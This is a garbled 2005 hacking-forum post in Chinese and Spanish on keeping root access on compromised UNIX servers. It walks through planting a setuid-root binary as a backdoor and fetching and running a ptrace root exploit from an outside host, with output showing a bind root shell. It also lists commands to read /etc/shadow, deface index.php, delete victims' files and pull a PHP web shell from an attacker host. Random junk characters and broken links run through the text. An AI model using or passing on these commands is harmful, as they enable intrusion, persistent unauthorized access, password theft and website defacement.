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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>
1 N9 r$ [9 |" _  _; H; {9 Y<>1.</P>2 b  I- t% o: b
<>[cnbird@localhost tmp]#id</P>
& N+ }) W/ Q7 k1 O, [<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
4 ?3 `. D3 X8 f' B! M% K<>[cnbird@localhost tmp]#cp `which id ` .</P>6 c# J" r7 S7 X1 I( i  h
<>[cnbird@localhost tmp]#chown root ./id</P>  X0 u7 v4 b. A0 x! M: M$ m
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>9 s) P. i' F# J4 G6 _
<>[cnbird@localhost tmp]#ls -l ./id</P>
7 G0 K' G2 w2 V6 l; L  f<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
) F9 J0 v- I8 L5 v! V<>[cnbird@localhost tmp]#exit</P>" s0 y% H3 p% P, ~6 j
<>[cnbird@localhost tmp]$id</P>/ F3 m+ h$ W( V! _
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>) Q' s8 l7 i4 ^) Y6 v+ g
<>[cnbird@localhost tmp]$./id </P>! b* b0 D( `0 R
<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>0 b2 X7 T3 Q6 h
<>2.利用ptrace成为root的方法</P>
1 w, y  E, O4 G' N  u4 K; u<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
; z! d8 c: S% w* ?/ O' T0 s-&gt; Parent's PID is 2313. Child's PID is 2314.
* D3 s! y5 `, P-&gt; Attaching to 2315...
+ o, h; x  v. b) |5 W0 ^! y-&gt; Got the thread!!& F$ J: h" X. L, s
-&gt; Waiting for the next signal...
7 `1 I! K* s5 w7 D-&gt; Injecting shellcode at 0x4000e85d  l1 _4 T# q  @% a! Q* a3 q
-&gt; Bind root shell on port 24876... =p
9 l. \- K8 {( g4 l-&gt; Detached from modprobe thread.
7 F/ I" b3 A! Q0 C$ A3 W-&gt; Committing suicide.....</P>
3 t5 t0 K" f) K, O8 h* a<>[bash]# id
/ h; y4 ?$ M" k, m3 ?5 |uid=0(root) gid=0(root) groups=0(root)</P>( s* ~" Q/ ^$ Y1 R- j
<>ara ver los dominios que hay en el server:. P$ T9 P; n! h6 Q  G
---------------------------------------------------------
/ F! O& J2 k7 {$ N2 {- h) u. scat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
" p; m- o$ t- C$ Y2 n& p1 p1 Wcat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios  o5 {% }$ a' D2 C* c
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales
7 {& _( S; T- p2 dcat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio , [# f; ^  N$ T+ z" y1 }( F; A
cat /etc/userdomains &lt;&lt; Este es el mas comun& S' p3 K6 O7 U" |. B
---------------------------------------------------------</P>
* X+ O5 Q% z& Y<>ara ver la version de kernel:
/ [" v' F4 n0 h3 B1 l1 q---------------------------------------------------------  A8 K# {- L% T& g3 e" R
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel., b- \( [+ f9 q# u0 F
---------------------------------------------------------</P>6 ~5 N% b  ]) ]
<>ara modificar un index ya existente:- P0 F( W( B& Y. i7 W. D
---------------------------------------------------------0 X) ?6 W1 Q( }. a* ]/ k
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido, W$ u. ?# y9 C2 x! S) G! b( D
---------------------------------------------------------</P>
$ z" F! m4 A8 e: N<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
% d" m+ _: ^+ U) v8 g/ J  w* A3 [3 R, \---------------------------------------------------------& N0 M$ [2 y9 r& ], P
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
- }7 V7 l% o9 E) V; P3 Scd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
9 ]; J) K" V5 t4 _9 G6 gcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
$ E( O& I" x# |( H) Ncd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". 1 s7 Q& U0 @0 Y% N# Y, e: T% t; _
Hasta aqui termina el proceso para un exploit.. b$ V. j" u5 `5 w9 }6 O
---------------------------------------------------------</P>
4 s' j. o0 D8 R8 [/ ^<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
. k$ X2 B4 V' L, e% j( w---------------------------------------------------------' O2 i$ U: w' ]" f
cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
% ^) T; h* H/ r" M/ V- c1 k---------------------------------------------------------</P>5 O/ U2 A* ?8 v- k, J& `
<>Borrar un Ficher
6 u( i+ v$ n' ^---------------------------------------------------------5 k4 ^$ c+ R- G; G+ n! J
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
: c& r9 }# F4 @2 e---------------------------------------------------------</P>% q; _3 x/ T+ p. ~' T
<>Subir un ficher  Z" F& J7 h* p- f, F
---------------------------------------------------------
. Q' u* ^9 ?- m- l$ x" H+ I0 Ocd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>* x* k# w  G" W; Z2 ^$ F% B6 O
<>
# U7 @4 @. D3 y: ]7 O  u+ d<CENTER></CENTER>
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